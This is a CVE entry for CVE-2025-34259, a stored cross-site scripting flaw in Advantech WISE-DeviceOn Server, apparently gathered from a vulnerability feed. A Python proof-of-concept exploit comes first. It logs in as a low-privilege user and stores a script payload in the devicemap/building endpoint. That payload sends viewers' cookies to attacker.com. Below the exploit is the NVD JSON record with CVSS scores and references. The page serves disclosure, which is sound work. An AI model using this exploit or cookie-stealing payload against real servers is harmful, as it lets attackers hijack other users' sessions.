CVE-2025-34259

import requests import json # CVE-2025-34259 PoC - Stored XSS in Advantech WISE-DeviceOn Server # Target: /rmm/v1/devicemap/building endpoint TARGET_URL = "http://target-server/rmm/v1/devicemap/building" LOGIN_URL = "http://target-server/rmm/v1/auth/login" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' def exploit(): """ Exploit steps: 1. Authenticate with low-privilege account 2. Send malicious payload to /rmm/v1/devicemap/building 3. Payload is stored without sanitization 4. When other users view the map, XSS executes """ # Step 1: Login with low-privilege credentials login_data = { "username": "attacker_account", "password": "attacker_password" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via devicemap/building endpoint exploit_data = { "name": XSS_PAYLOAD, "description": "Test building entry", "location": { "lat": 0.0, "lng": 0.0 } } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {session.cookies.get('token')}" } response = session.post(TARGET_URL, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] XSS payload injected successfully") print(f"[+] Payload will execute when users view the map list") return True else: print(f"[-] Injection failed: {response.status_code}") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-34259", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:55.523", "lastModified": "2025-12-17T17:15:49.207", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/devicemap/building endpoint. When an authenticated user creates a map entry, the name parameter is stored and later rendered in the map list UI without HTML sanitzation. An attacker can inject malicious script into the map entry name, which is then executed in the browser context of users who view or interact with the affected map entry, potentially enabling session compromise and unauthorized actions as the victim."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:wise-deviceon_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4", "matchCriteriaId": "BFB1F2C4-C260-473E-A6E1-EE7DFC3EF083"}]}]}], "references": [{"url": "https://advcloudfiles.advantech.com/cms/2ca1b071-fd78-4d7f-8a2a-7b4537a95d19/Security%20Advisory%20PDF%20File/SECURITY-ADVISORY----DeviceOn-20251208-2.pdf", "source": "[email protected]"}, {"url": "https://docs.deviceon.advantech.com/docs/resource/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/advantech-wise-deviceon-server-authenticated-stored-xss-via-devicemap-building", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}